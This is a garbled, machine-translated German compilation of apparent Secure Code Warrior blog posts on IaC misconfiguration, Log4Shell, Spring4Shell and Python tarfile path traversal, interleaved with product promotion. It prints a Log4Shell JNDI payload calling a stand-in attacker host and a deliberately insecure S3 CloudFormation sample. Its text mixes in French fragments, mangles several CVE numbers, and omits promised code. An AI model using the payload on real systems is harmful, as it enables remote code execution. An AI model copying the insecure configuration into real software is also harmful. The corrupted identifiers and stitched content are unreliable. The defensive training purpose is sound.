Informationen zum Sicherheitscode

Heutzutage sind Bedrohungen für die Cybersicherheit allgegenwärtig und unaufhörlich. Je mehr Facetten unseres Lebens digitalisiert werden, desto höher sind die Einsätze für Cyberkriminelle: Es gibt zu viel Code zu sichern und private Daten sind zu wertvoll. Nun, es ist fast unmöglich geworden, alle Aspekte der Angriffsfläche nach der Bereitstellung von Programmen zu verfolgen und zu verteidigen.

Bestimmte Ansätze können einige dieser Symptome mildern, und einer davon wird deutlich, wenn kluge Unternehmen das Konzept der Infrastruktur als Code (IaC) übernehmen. Natürlich gibt es wie bei jeder Entwicklung auch hier Sicherheitsrisiken, die es zu überwinden gilt. Und da Entwickler an dem Code arbeiten, der eine für das Hosting von Anwendungen unverzichtbare Infrastruktur generiert, ist das Sicherheitsbewusstsein in jeder Phase des Prozesses von entscheidender Bedeutung.

Wie kann ein Entwickler, der gerade erst in einer Cloud-Server-Umgebung anfängt, seine Fähigkeiten verbessern, die Tricks des Handwerks lernen und sich mit mehr Sicherheitsbewusstsein an die Version herantasten? Wir haben die nächste Serie „Coders Conquer Security” ins Leben gerufen, um gängige Schwachstellen der IaC zu bekämpfen. Die nächsten Blogbeiträge konzentrieren sich auf Maßnahmen, die Sie als Entwickler ergreifen können, um in Ihrem eigenen Unternehmen mit der Bereitstellung einer sicheren Infrastruktur in Form von Code zu beginnen.

Los geht's.

Es gibt eine Fabel aus dem amerikanischen Wilden Westen über einen Mann, der paranoid war, dass Banditen sein Grundstück überfallen und ausrauben würden. Um dem entgegenzuwirken, investierte er in alle möglichen Sicherheitsmaßnahmen, wie zum Beispiel den Einbau einer sehr soliden Eingangstür, das Verschließen aller Fenster und das Bereithalten zahlreicher Waffen. Trotzdem wurde er eines Nachts, während er schlief, ausgeraubt, weil er vergessen hatte, die Seitentür abzuschließen. Die Banditen fanden einfach die Sicherheitsvorkehrungen unwirksam und nutzten die Situation schnell aus.

Die Sicherheitsfunktionen Ihrer Infrastruktur zu deaktivieren, ist in etwa so. Selbst wenn Ihr Netzwerk über eine robuste Sicherheitsinfrastruktur verfügt, nützt diese nichts, wenn bestimmte Elemente deaktiviert wurden.

Lassen Sie mich Ihnen eine Herausforderung stellen, bevor wir zum Kern der Sache kommen:

Klicken Sie auf den obigen Link und Sie werden zu unserer gamifizierten Schulungsplattform weitergeleitet, wo Sie sofort versuchen können, eine deaktivierte Sicherheitslücke zu schließen. (Achtung: Die Seite wird in Kubernetes geöffnet, aber über das Dropdown-Menü können Sie zwischen Docker, CloudFormation, Terraform und Ansible wählen).

Wie hast du das geschafft? Wenn Sie noch Arbeit zu erledigen haben, lesen Sie bitte Folgendes:

Sicherheitsfunktionen können aus verschiedenen Gründen deaktiviert werden. Bei bestimmten Anwendungen und Frameworks sind sie möglicherweise standardmäßig deaktiviert und müssen zunächst aktiviert werden, bevor sie funktionieren. Es ist auch möglich, dass Administratoren bestimmte Sicherheitsfunktionen deaktiviert haben, um bestimmte Aufgaben einfacher ausführen zu können, ohne ständig auf die Probe gestellt oder blockiert zu werden (z. B. um ein AWS S3-Compartiment öffentlich zugänglich zu machen). Nach Abschluss ihrer Arbeit vergessen sie möglicherweise, die deaktivierten Funktionen wieder zu aktivieren. Möglicherweise ziehen sie es auch vor, sie deaktiviert zu lassen, um ihre Arbeit in Zukunft zu erleichtern.

Warum deaktivierte Sicherheitsfunktionen so gefährlich sind

Die Deaktivierung einer oder mehrerer Sicherheitsfunktionen ist aus mehreren Gründen nicht empfehlenswert. Zum einen wurde die Sicherheitsfunktion in die Infrastrukturressourcen integriert, um vor bekannten Exploits, Bedrohungen oder Schwachstellen zu schützen. Wenn sie deaktiviert wird, kann sie Ihre Ressourcen nicht mehr schützen.

Angreifer werden immer zuerst versuchen, leicht ausnutzbare Schwachstellen zu finden, und können sogar ein Skript verwenden, um gängige Schwachstellen zu beheben. Das ist in etwa so, als würde ein Dieb alle Autos in einer Straße überprüfen, um zu sehen, ob die Türen unverschlossen sind, was viel einfacher ist, als eine Scheibe einzuschlagen. Hacker werden vielleicht überrascht sein, wenn sie feststellen, dass eine gängige Sicherheitsvorkehrung nicht aktiv ist. Aber wenn dies der Fall ist, werden sie nicht lange brauchen, um sie auszunutzen.

Zweitens schafft die Einrichtung einer guten Sicherheit und deren anschließende Deaktivierung ein falsches Gefühl der Sicherheit. Administratoren könnten glauben, dass sie vor gängigen Bedrohungen geschützt sind, wenn sie nicht wissen, dass jemand diese Schutzmaßnahmen deaktiviert hat.

Als Beispiel dafür, wie ein Angreifer eine deaktivierte Sicherheitsfunktion ausnutzen könnte, betrachten Sie die AWS S3-Sicherheitsfunktion, die den öffentlichen Zugriff blockiert. Mit dem blockierten öffentlichen Zugriff auf Amazon S3 können Kontoadministratoren und Speicherbereichsbesitzer auf einfache Weise zentralisierte Kontrollen konfigurieren, um den öffentlichen Zugriff auf ihre Amazon S3-Ressourcen zu beschränken. Einige Administratoren, die jedoch Probleme beim Zugriff auf das S3-Bucket haben, entscheiden sich dafür, es öffentlich zugänglich zu machen, um die Aufgabe so schnell wie möglich zu erledigen. Wenn sie vergessen, diese Sicherheitsfunktion zu aktivieren, hat ein Angreifer vollständigen Zugriff auf die in diesem S3-Bucket gespeicherten Informationen, was nicht nur zur Offenlegung von Informationen, sondern auch zu zusätzlichen Kosten aufgrund von Datenübertragungsgebühren führt.

Vergleichen Sie den tatsächlichen Code; werfen Sie einen Blick auf diese Auszüge aus CloudFormation:

Vulnérable :

Unternehmens-Seau:
Typ: AWS : :S3 : :Bucket
Eigenschaften:
Konfiguration des öffentlichen Zugriffsblocks:
BlockPublicACLS: false
BlockPublicPolicy: false
IgnorepublicACLS: false
RestrictPublicBuckets: false
Konfiguration der Versionierung:
Status: Aktiviert
Verschlüsselung des Buckets:
Konfiguration der serverseitigen Verschlüsselung:
- Standardmäßige serverseitige Verschlüsselung:
SSE-Algorithmus: „AES256”

Sicher:

Unternehmens-Bucket:
Typ: AWS: :S3: :Bucket
Eigenschaften:
Konfiguration des öffentlichen Zugriffsblocks:
BlockPublicACLS: wahr
BlockPublicPolicy: wahr
Ignorepublicacls: wahr
RestrictPublicBuckets: wahr
Konfiguration der Versionierung:
Status: Aktiviert
Verschlüsselung des Buckets:
Konfiguration der serverseitigen Verschlüsselung:
- Standardmäßige serverseitige Verschlüsselung:
SSE-Algorithmus: „AES256”

Verhindern der Deaktivierung von Sicherheitsfunktionen

Das Verhindern von Schäden für Ihr Unternehmen durch deaktivierte Sicherheitsfunktionen ist sowohl eine Frage der Politik als auch der Praxis. Es sollte eine strenge Richtlinie geben, die vorschreibt, dass Sicherheitsfunktionen nur unter ganz bestimmten Umständen deaktiviert werden dürfen. Vorfälle, in denen Funktionen vorübergehend deaktiviert werden müssen, um ein Problem zu beheben oder Anwendungen zu aktualisieren, müssen protokolliert werden. Sobald die erforderlichen Arbeiten abgeschlossen sind, muss überprüft werden, ob die Funktionen vollständig wieder aktiviert wurden.

Wenn eine Sicherheitsfunktion zur Rationalisierung der Abläufe dauerhaft deaktiviert werden muss, müssen andere Schutzmaßnahmen für die betroffenen Daten vorgesehen werden, um zu verhindern, dass Hacker ohne den standardmäßigen Schutz darauf zugreifen können. Wenn eine erforderliche Schutzfunktion deaktiviert wurde, ist es nur eine Frage der Zeit, bis ein Angreifer diese offene Tür findet und die Situation ausnutzt.

Erfahren Sie mehr, stellen Sie sich Herausforderungen:

Siehe Secure Code Warrior auf den Blog-Seiten, um mehr über diese Sicherheitslücke zu erfahren und zu erfahren, wie Sie Ihr Unternehmen und Ihre Kunden vor den Folgen weiterer Sicherheitslücken und Schwachstellen schützen können.

Sind Sie bereit, diese Schwachstelle zu finden und zu beheben, nachdem Sie den Artikel gelesen haben? Es ist an der Zeit,eine gamifizierte Sicherheitsherausforderung zu IaC auf der Secure Code Warrior -Plattformauszuprobieren, Secure Code Warrior all Ihre Cybersicherheitskenntnisse zu perfektionieren und auf den neuesten Stand zu bringen.

Diese wöchentliche Serie behandelt unsere acht wichtigsten Schwachstellen im Zusammenhang mit der Infrastruktur als Code. Schauen Sie nächste Woche wieder vorbei, um mehr zu erfahren!

Ein früherer Blogbeitrag beschrieb den Java-Operator „Bitwise vs Boolean Operator”.

• Java-Fallstricke – Bitweiser oder boolescher Operator

Wir haben eine Variante davon sowie weitere Java-Tipps in einem kleinen unterhaltsamen Quiz mit dem Titel „Challenge Sensei hinzugefügt.

• scw.typeform.com/to/RGW7Q7OE

Wenn Sie den obenstehenden Blogartikel gelesen haben, sind Sie gut gerüstet, um mindestens eine der Fragen zu beantworten.

Aber vielleicht gilt das nicht für Ihre Freunde. Wenn Sie das Quiz unterhaltsam finden, können Sie es mit ihnen teilen und sehen, ob sie genauso gute Ergebnisse erzielen wie Sie.

Da wir Sie nicht nur befragen möchten, sondern versuchen wollen, das Gelernte zur Wissensvermittlung und -kodifizierung zu nutzen, haben wir ein Github-Repository mit ausführbaren Code-Beispielen für das Problem und die Lösung erstellt.

• github.Sensei

Es handelt sich um ein aktiviertes Senseï-Depot.

Wenn Sie das Repository klonen und in IntelliJ laden, wird das IntelliJ-Plugin Secure Code Warrior Senseï automatisch erkennen, dass Sie einen Ordner .sensei habensensei die Sensei laden, vorausgesetzt, das Plugin ist installiert.

Wenn Sie den Code in der IDE durchgehen, sollte IntelliJ Ihnen anzeigen, dass der Fehler im Code vorhanden ist, was das Aufspüren der Falle im Code erleichtern sollte:

• Bewegen Sie den Mauszeiger über den hervorgehobenen Code, dann wird eine Meldung angezeigt, die Sie über den Fehler informiert.
• Verwenden Sie die Tastenkombination „Kontextaktion anzeigen“: Alt+Eingabetaste (Windows) oder Option+Eingabetaste (macOS). Möglicherweise steht uns eine Schnellkorrektur zur Verfügung, mit der der Code korrigiert werden kann.

Rezepte von Sensei hinzugefügt für:

• Bitweise Operatoren
• Geteilte IP-Adresse
• Bestellung bestätigen

Wir werden in Zukunft weitere Rezepte und Erläuterungen hinzufügen, um den Rest des Codes abzudecken... aber das hindert Sie nicht daran, sich den Code anzusehen und den Fehler selbst zu finden.

Und vergessen Sie nicht, den Fragebogen auszufüllen und„Fordern Sie den Sensei heraus Sensei!

Am 9. Dezember wurde ein Zero-Day-Exploit in der Java-Bibliothek Log4j bekannt. CVE-44228, auch bekannt als Log 4 Shell, wurde als „hochgradig schwerwiegend” eingestuft, da der Exploit zur Ausführung von Remote-Code (RIZ) führen kann. Darüber hinaus ist log4j-core eine der am häufigsten verwendeten Java-Logging-Bibliotheken und gefährdet somit Millionen von Anwendungen.

Möchten Sie Ihre Fähigkeiten schnell verbessern, indem Sie sich mit Log4Shell befassen?

Wir haben eine Demo erstellt, die Sie von der Grundidee von Log4Shell bis hin zur Entdeckung der Exploits dieser Schwachstelle in einem Simulator namens Mission führt. Im Laufe dieser Mission erklären wir Ihnen, wie sich die Log4j-Schwachstelle auf Ihre Infrastruktur und Ihre Anwendungen auswirken kann. Klicken Sie hier, um direkt zur Demo zu gelangen, oder lesen Sie weiter, um mehr über diese Schwachstelle zu erfahren.

Alte Nachrichten?

Der Exploit ist nicht neu. Bereits auf der BlackHat-Konferenz 2016 betonten die Sicherheitsforscher Alvaro Muñoz und Oleksandr Mirosh, dass„Anwendungen keine JNDI-Suchen mit unzuverlässigen Daten durchführen sollten”, und veranschaulichten, wie eine gezielte JNDI/LDAP-Injektion zur Ausführung von Remote-Code führen kann. Und genau das ist der Kern von Log4Shell.

Angriffsvektor

Die Utile-Injection-Charge von Log4Shell sieht wie folgt aus:

$ {jndi:ldap : //attacker.host/xyz}

Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.

Dann gibt es noch JNDI ( Java Directory and Directory Interface), eine API, mit der man sich über Protokolle wie LDAP, DNS, RMI usw. mit Diensten verbinden kann, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt führt JNDI in unserem obigen Beispiel für eine bösartige Nutzlast eine Suche auf dem vom Angreifer kontrollierten LDAP-Server durch. Die Antwort könnte beispielsweise auf eine Java-Klassendatei verweisen, die bösartigen Code enthält, der wiederum auf dem anfälligen Server ausgeführt wird.

Was diese Schwachstelle so problematisch macht, ist, dass Log4j alle Protokolleinträge auswertet und alle in EL-Syntax mit dem Präfix „jndi” gespeicherten Benutzereingaben durchsucht. Die Nutzlast kann an jeder Stelle injiziert werden, an der Benutzer Daten eingeben können, beispielsweise in Formularfeldern. Darüber hinaus können HTTP-Header wie User Agent und X-Forwarded-For sowie andere Header angepasst werden, um die Nutzlast zu transportieren.

Um diese Leistung selbst zu entdecken, besuchen Sie unsere Vitrine und gehen Sie zu Schritt 2: „Die Auswirkungen der Erfahrung”.

Prävention: Sensibilisierung

Das Upgrade wird für alle Anwendungen empfohlen, da Log4j den anfälligen Code korrigiert hat. Die Versionen 2.15.0 und 2.16.0 enthielten jedoch eine DDoS- und andere Schwachstellen, sodass ab Ende Dezember ein Upgrade auf die Version 2.17.0 empfohlen wird.

Als Entwickler, die Code schreiben, müssen wir stets die Sicherheit berücksichtigen. Log4Shell hat uns gelehrt, dass die Verwendung von Frameworks oder Bibliotheken von Drittanbietern Risiken birgt. Wir müssen uns bewusst sein, dass die Sicherheit unserer Anwendung durch die Verwendung externer Quellen, die wir naiv für sicher halten, gefährdet werden kann.

Hätte diese Schwachstelle vermieden werden können? Ja und nein. Einerseits können Entwickler nichts dagegen unternehmen, da die anfälligen Komponenten über Software von Drittanbietern eingeführt werden. Andererseits ist die Lehre, die daraus zu ziehen ist, eine, die schon oft wiederholt wurde: Man sollte sich niemals auf Benutzereingaben verlassen.

Secure Code Warrior , dass sicherheitsbewusste Entwickler die beste Lösung sind, um das Auftreten von Schwachstellen im Code zu verhindern. Da SCW eine umfassende, auf das Programmier-Framework zugeschnittene Schulung anbietet, konnten die Kundenunternehmen anhand der Berichtsdaten schnell die betroffenen Java-Entwickler ausfindig machen. Außerdem stützten sie sich auf ihre von SCW geschulten Sicherheitsexperten, um die Aktualisierung von Log4j zu beschleunigen.

Speziell für Java-Entwickler Secure Code Warrior Sensei, ein kostenloses IntelliJ-Plugin. Dieses regelbasierte Code-Analyse-Tool kann zur Durchsetzung von Codierungsrichtlinien sowie zur Vorbeugung und Behebung von Schwachstellen eingesetzt werden. Sie können Ihre eigenen Regeln erstellen oder unser gebrauchsfertiges Tool „Rezeptbuch” verwenden. Nehmen Sie an unseren Rezepten teil und vergessen Sie nicht, unser Log4j-Rezeptbuch herunterzuladen, mit dem Sie die Log4Shell-Sicherheitslücke im Handumdrehen finden und beheben können.

Verbessern Sie Ihre Fähigkeiten zur Abwehr von Log4Shell

Möchten Sie das in diesem Blogbeitrag Gelernte in die Praxis umsetzen? Unser Schaufenster kann Ihnen dabei helfen. Zu Beginn der Präsentation erhalten Sie einen kurzen Überblick über diese Schwachstelle und werden dann zu einer simulierten Umgebung weitergeleitet, in der Sie den Exploit anhand von Anleitungen ausprobieren können.

‍

Vor kurzem wurden in den Spring-Bibliotheken, einer der beliebtesten Bibliotheken der Java-Community, zwei Sicherheitslücken im Zusammenhang mit der Remote-Codeausführung (RCE) entdeckt. Um Ihnen zu helfen, leichter festzustellen, ob Sie einer der beiden Sicherheitslücken ausgesetzt sind und welche Maßnahmen Sie ergreifen sollten, haben wir die bekannten Informationen zu „Spring4Shell” und „Spring Cloud Function” aufgeschlüsselt.

Sicherheitslücke 1 – „Spring4Shell“ (CVE-42-22965)

Am 29. März 2022 entdeckte die Community eine Reihe von Tweets mit Screenshots eines Proof-of-Concept-Exploits, der auf Spring Core (SC) abzielt und die Remote-Ausführung von Code für alle Versionen von Spring Core ermöglicht, einschließlich der neuesten Version 5.3.17.

Welche Anwendungen sind gefährdet?

Derzeit sind nur Anwendungen, die auf Tomcat gehostet werden, nachweislich von diesem neuen Exploit betroffen. Obwohl die Ausnutzung dieses Exploits gegenüber dem integrierten Tomcat-Servlet-Container oder anderen nicht von Tomcat gehosteten Anwendungen nicht erfolgreich war, schließt dies nicht aus, dass die Bedrohung in Zukunft auch für diese Frameworks wirksam sein könnte.

Spring hat eine offizielle Erklärung zu dieser Schwachstelle veröffentlicht, in der präzisiert wird, dass nach dem derzeitigen Verständnis der Schwachstelle die folgenden Bedingungen erfüllt sein müssen, damit eine Anfälligkeit vorliegt:

• JDK 9 oder höher
• Apache Tomcat als Servlet-Container
• Verpackt als herkömmliche WAR-Datei (im Gegensatz zu einer ausführbaren Spring Boot-JAR-Datei)
• Abhängigkeit von Spring Web MVC oder Spring Web Flux
• Versionen 5.3.0 bis 5.3.17, 5.2.0 bis 5.2.19 und frühere Versionen von Spring Framework

Wie funktioniert die Exploit-Software „Spring4Shell“?

Die Nutzung basiert auf der Verwendung der „Datenverbindung” (org.springframework.web.bind.WebDataBinder) in Anfragen, die einfache alte Java-Objekte (POJO) in der Methodensignatur verwenden:

Wobei die Klasse Foo eine POJO-Klasse ist, die wie folgt definiert werden könnte. Beachten Sie, dass die Klasse selbst nicht wichtig ist, solange sie vom Class Loader geladen wird.

Wenn eine Anfrage mit einer Methode wie dieser verarbeitet wird, wird der Class Loader verwendet, um die Klasse aufzulösen. Der Class Loader ist dafür zuständig, die Klassen zum Zeitpunkt der Ausführung zu laden, ohne zuvor alle möglichen Typen in den Speicher vorladen zu müssen. Er bestimmt, welche .jar-Datei geladen werden soll, wenn eine neue Klasse verwendet wird.

Die aktuellsten und detailliertesten Informationen zu dieser Sicherheitslücke finden Sie direkt bei Spring in ihrem Blogbeitrag, einschließlich potenzieller Korrekturen oder Workarounds.

Sicherheitslücke 2: Spring Cloud-Funktion (CVE-249 22963)

Am 27. März 2022 veröffentlichte Cyber Kendra Informationen zu einer Zero-Day-Sicherheitslücke (RCE) in Spring Cloud Functions, für die es keinen Patch gab. Die Sicherheitslücke erhielt die ID CVE-04-22963: Sicherheitslücke beim Zugriff auf Ressourcen in Spring Expression.

Welche Anwendungen sind gefährdet?

Die Schwachstelle betraf Anwendungen unter den folgenden Bedingungen:

• JDK 9 oder höher
• Spring Cloud Functions Version 3.1.6 (oder niedriger), 3.2.2 (oder niedriger) oder jede nicht unterstützte Version

Wie funktioniert der Betrieb?

Spring Cloud Function ermöglicht es Entwicklern, die Art und Weise, wie das Routing verwaltet wird, über die Eigenschaft spring.cloud.function.routing-expression zu konfigurieren, in der Regel über die Konfiguration oder den Code. Es handelt sich um eine leistungsstarke Funktion, die die „Spring Expression Language” (SPel) akzeptiert. Dank dieser 0-Day-Sicherheitslücke haben wir erfahren, dass diese Eigenschaft über die HTTP-Header einer Anfrage definiert werden kann, was bedeutet, dass ein Angreifer SPEL-Code direkt in seine HTTP-Anfrage an einen RoutingFunction-Endpunkt integrieren und so beliebigen Code ausführen kann.

Welche Maßnahmen sollten Nutzer ergreifen, um die Risiken zu mindern?

Le printemps hat die Versionen 3.1.7 und 3.2.3 veröffentlicht, um dieses Problem zu beheben, indem die Definition dieser Eigenschaft über HTTP-Header nicht mehr zulässig ist, wodurch die Sicherheitslücke gemindert wird. Nach dem Upgrade auf eine der beiden Versionen sind keine weiteren Schritte erforderlich.

Möchten Sie mehr darüber erfahren, wie wir Entwicklern dabei helfen, sichereren Code zu schreiben? Buchen Sie eine Demo oder entdecken Sie unsere kostenlosen Richtlinien für sicheres Codieren auf Secure Code Coach.

‍

Quellen

• https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
• https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/

‍

Kürzlich gab ein Team von Sicherheitsforschern bekannt, dass es einen fünfzehn Jahre alten Fehler in der Python-Funktion zum Extrahieren von tar-Dateien entdeckt hat. Die Schwachstelle wurde erstmals 2007 bekannt und unter der Nummer CVE-2007-4559 erfasst. Ein Hinweis wurde der offiziellen Python-Dokumentation hinzugefügt, aber der Fehler selbst wurde nicht behoben.

Diese Schwachstelle könnte Auswirkungen auf Tausende von Softwareprojekten haben, aber viele Menschen sind sich der Situation nicht bewusst und wissen nicht, wie sie damit umgehen sollen. Aus diesem Grund haben wir hier bei Secure Code Warriorbieten wir Ihnen die Möglichkeit, die Ausnutzung dieser Schwachstelle selbst zu simulieren, um die Auswirkungen aus erster Hand zu erleben und praktische Erfahrungen mit den Mechanismen dieses hartnäckigen Fehlers zu sammeln, damit Sie Ihre Anwendung besser schützen können!

Probieren Sie jetzt die Mission- Simulation aus.

Die Schwachstelle: Überschneidung von Pfaden beim Extrahieren der tar-Datei

Ein Pfad- oder Verzeichnisüberlauf tritt auf, wenn ein nicht bereinigter Benutzereintrag zum Erstellen eines Dateipfads verwendet wird, wodurch ein Angreifer auf Dateien zugreifen, diese ersetzen und sogar beliebigen Code ausführen kann.

Die Schwachstelle besteht im Python-Modul „tar ”. Eine Tar-Datei (Bandarchiv) ist eine einzelne Datei, die als Archiv bezeichnet wird. Sie fasst mehrere Dateien mit ihren Metadaten zusammen und ist in der Regel an der Erweiterung .tar.gz oder .tgz zu erkennen. Jedes Element des Archivs kann durch ein Stern-Objekt dargestellt werden, das Metadaten wie Dateiname, Änderungszeitpunkt, Eigentumsverhältnisse usw. enthält.

Das Risiko besteht darin, dass die Archive erneut abgerufen werden können.

Bei der Extraktion benötigt jedes Mitglied einen Pfad, in den geschrieben werden kann. Dieser Speicherort wird durch Anhängen des Basispfads an den Dateinamen erstellt:

Sobald dieser Pfad erstellt wurde, wird er an die tarfile.extract oder tarfile.extractall Funktionen übermittelt, um die Extraktion durchzuführen:

Das Problem hierbei ist, dass der Dateiname nicht bereinigt wird. Ein Angreifer könnte die Dateien umbenennen, um Pfadüberbrückungszeichen wie den Schrägstrich (../ ) einzufügen, wodurch die Datei aus dem Verzeichnis entfernt würde, in dem sie sich eigentlich befinden sollte, und beliebige Dateien ersetzt würden. Dies könnte möglicherweise zur Ausführung von Remote-Code führen, was für eine Ausnutzung reif ist.

Die Schwachstelle tritt auch in anderen Szenarien auf, wenn man weiß, wie man sie identifiziert. Neben der Verwaltung von tar-Dateien durch Python besteht die Schwachstelle auch beim Extrahieren von zip-Dateien. Vielleicht kennen Sie sie unter einem anderen Namen, beispielsweise als Zip-Slip-Schwachstelle, die auch in anderen Sprachen als Python aufgetreten ist!

VERWEIS AUF DIE MISSION 

Wie können Sie die Risiken mindern?

Obwohl die Schwachstelle seit Jahren bekannt ist, sind die Verantwortlichen von Python der Ansicht, dass die Extraktionsfunktion so funktioniert , wie sie soll. In diesem Fall könnten einige sagen: „Das ist eine Funktion, kein Fehler.“ Leider können Entwickler es nicht immer vermeiden, tar- oder zip-Dateien aus einer unbekannten Quelle zu extrahieren. Es liegt an ihnen, unzuverlässige Eingaben zu bereinigen, um Schwachstellen im Zusammenhang mit dem Durchlaufen von Pfaden im Rahmen sicherer Entwicklungspraktiken zu vermeiden.

Möchten Sie mehr darüber erfahren, wie Sie mit Python sicheren Code schreiben und Risiken minimieren können?

Probieren Sie unsere kostenlose Python-Challenge aus.

Wenn Sie weitere kostenlose Codierungsrichtlinien erhalten möchten, besuchen Sie Secure Code Coach, um sich über sichere Codierungspraktiken auf dem Laufenden zu halten.

‍

‍

Micha Martinez ist Cybersicherheitsanalyst und Filmemacher bei Nelnet, einem amerikanischen Konglomerat, das sich mit der Verwaltung und Rückzahlung von Studentenkrediten und Finanzdienstleistungen für den Bildungsbereich befasst. Als er mit der Erstellung eines Schulungsprogramms für Entwickler zum Thema sicheres Codieren beauftragt wurde, nutzte er kreative Methoden, um sein Team einzubeziehen. Wir waren so beeindruckt von der Art und Weise, wie er sein Schulungsprogramm für sicheres Programmieren gestaltet, dass wir uns mit ihm unterhalten haben, um mehr darüber zu erfahren.

Letztendlich?

Schaffen Sie eine Sicherheitskultur und ermutigen Sie Ihre internen Sicherheitschampions in Ihren Entwicklungsteams, „die Kraft des Guten“ zu sein.

„Durch die Konzentration auf sicheren Code haben wir dazu beigetragen, das Unternehmen zu stärken und sicherer zu machen.“

Bei Nelnet haben Micha und sein Sicherheitsteam erkannt, wie wichtig es ist, von Anfang an einen sicheren Code zu erstellen. Sie wollten dies auf eine ansprechende, relevante und bereichernde Weise erreichen. Er stellte fest, dass durch die Identifizierung von Entwicklern, die ein starkes Interesse und Kompetenzen im Bereich sicheres Codieren hatten, und durch die Ermutigung dieser Entwickler, sich zu Sicherheitschampions zu entwickeln, diese Champions zu Katalysatoren für einen Mentalitätswandel in Bezug auf die Sicherheitsschulung insgesamt wurden. Diese Personen betreuen ihre Kollegen, die zusätzliche Hilfe auf Augenhöhe benötigen, und werden zu Vorreitern bei der Umsetzung von Veränderungen in den Praktiken der sicheren Programmierung innerhalb des Unternehmens.

Micha erklärt, wie er und sein Team die Denkweise und Kultur in Bezug auf Sicherheitsvorkehrungen verändert haben, wodurch ihr Unternehmen „stärker und sicherer“ geworden ist.

Tout est une question de droit de vantardise... et de réduction des vulnérabilités

Micha leitet kein gewöhnliches Sicherheits-Schulungsprogramm. Er nutzt den Wettbewerb und seine Fähigkeiten als Filmemacher, um die Turniere äußerst attraktiv und erfolgreich zu gestalten. Die Entwickler erwerben sehr relevante praktische Kenntnisse, die es ihnen ermöglichen, einen sichereren Code zu erstellen.

Das Unternehmen profitiert ebenfalls davon, da seine Produkte sicherer werden und einen höheren Schutz vor Software-Schwachstellen bieten. Das Erlernen von Softwaresicherheit muss nicht unbedingt eine klassische, langweilige Lernerfahrung sein, bei der man nur ein Kästchen ankreuzt. Entwickler wünschen sich immersive und anregende Schulungserfahrungen, die gleichzeitig auf ihre tägliche Arbeit zugeschnitten sind.

Sehen Sie sich an, wie Micha erklärt, wie er das Training im Bereich sicheres Programmieren durch Turniere unterhaltsam gestaltet, insbesondere durch physische Meisterschaftsgürtel à la Wrestle Mania als Belohnung. Ein wenig gesunder Wettbewerb reicht aus, damit Sicherheit für sein Team oberste Priorität hat.

Wer mag es nicht, sich zu rühmen?

‍

Führen Sie eine Kultur ein, die sich auf sicheres Codieren konzentriert... das Tool allein reicht nicht aus.

Micha hat uns einen letzten Gedanken darüber hinterlassen, warum er Secure Code Warrior empfiehlt. Die Plattform ermöglichte es ihm, eine präventive Kultur und proaktives Lernen zu schaffen. Es hat Zeit gekostet, das Schulungsprogramm zu entwickeln und in Entwickler zu investieren, die trainieren und gute Ergebnisse erzielen. Es bedarf einer transformativen Kultur, um die Fähigkeiten jedes Entwicklers zu entwickeln, damit ein präventiver Ansatz für sicheres Codieren verfolgt werden kann.

Hier finden Sie weitere Informationen von Micha darüber, warum die Einführung einer Kultur des sicheren Codierens mit Secure Code Warrior einen so großen Unterschied macht.

Secure Code Warrior eine sichere, immersive und motivierende Plattform zum Erlernen des Programmierens für Entwickler. Sind Sie an einer Vorführung interessiert? Buchen Sie unten einen Termin.

Wir haben uns mit Larry Maccherone von Contrast Security zusammengesetzt, dem führenden Anbieter von modernisierter Anwendungssicherheit, der Code-Analyse und Angriffsprävention direkt in Software einbettet. Wir haben darüber gesprochen, wie kontextuelles Lernen erfolgreich funktioniert, um Entwickler in sicherem Coding zu schulen.

Die Entwickler von heute sind zunehmend damit betraut, die Cybersecurity-Verletzungen von morgen zu stoppen. Zwar gibt es Schulungen zu Code-Schwachstellen, aber diese werden oft in wenig ansprechenden Formaten angeboten, die für die tägliche Arbeit der Entwickler nicht relevant sind. Entwickler müssen schnell Code schreiben, um Kundenwünsche zu erfüllen, wodurch Geschäftsziele wie Schulungen zurückgestellt werden. Und wenn dieses Training ohne Kontext und in Form von langen Präsentationen oder Studienhandbüchern angeboten wird, wird es noch entmutigender, was es schwer macht, den Nutzen des zusätzlichen Aufwands zu erkennen. 

Wie können Unternehmen Entwicklern wichtige Sicherheitsschulungen anbieten, ohne ihre täglichen Aufgaben zu unterbrechen oder sie von ihren bevorzugten Tools und Arbeitsabläufen fernzuhalten? 

Die Antwort ist einfach. Durch kontextbezogenes Lernen und die Bereitstellung von Schulungen direkt an den Fingerspitzen der Entwickler. Larry erklärt im folgenden Video, warum dies für Entwickler so leistungsstark ist.

‍
Durch die Integration von Schulungsangeboten zur gleichen Zeit, in der die Entwickler Code-Probleme überprüfen, erhalten sie sofort die Informationen, die für das identifizierte Problem oder die Schwachstelle am relevantesten sind. Da die Schulungen in kleineren und leichter verdaulichen Einheiten durchgeführt werden, ist es zudem wahrscheinlicher, dass die Entwickler die Informationen behalten und die Verwendung von anfälligem Code in Zukunft verhindern. Wie Larry es ausdrückt: "Feedback ist der Schlüssel zum Lernen".

Die Quintessenz ist, dass Entwickler in kürzerer Zeit mehr leisten und sicheren, hochwertigen Code liefern müssen. Durch das Einflechten von Schulungen, die kontextbezogen und spezifisch für die Code-Schwachstelle sind, werden die Arbeitsabläufe und Erfahrungen der Entwickler optimiert und ihre Behaltensquote erhöht. Hören Sie von Larry, wie Sie diese 40 Stunden Training einsparen können!

‍
Secure Code Warrior bietet technische Integrationen, die Ihren Entwicklungs- und Sicherheitsteams kontextbezogenes und hochrelevantes Lernen ermöglichen.

Interessiert an einer Demo? Buchen Sie eine unten. 

‍

Der Software Development Lifecycle (SDLC) scheint harmlos genug zu sein; es ist ein Prozess, und wir Software-Leute kommen alle zusammen, um die Magie geschehen zu lassen und all die digitalen Güter auszuliefern, ohne die die Gesellschaft nicht leben kann.

Nur... wenn Sie jemals Teil eines Softwareentwicklungsprojekts waren, wissen Sie, dass es normalerweise ein Spießrutenlauf ist, mit vielen Aufgaben, die es zu bewältigen und Drachen zu erschlagen gilt. Eine Zeit lang macht es Spaß, aber Burnout ist real, und die Nachfrage nach Software lässt uns alle in den besten Zeiten mit Lichtgeschwindigkeit arbeiten, besonders das Entwicklungsteam.

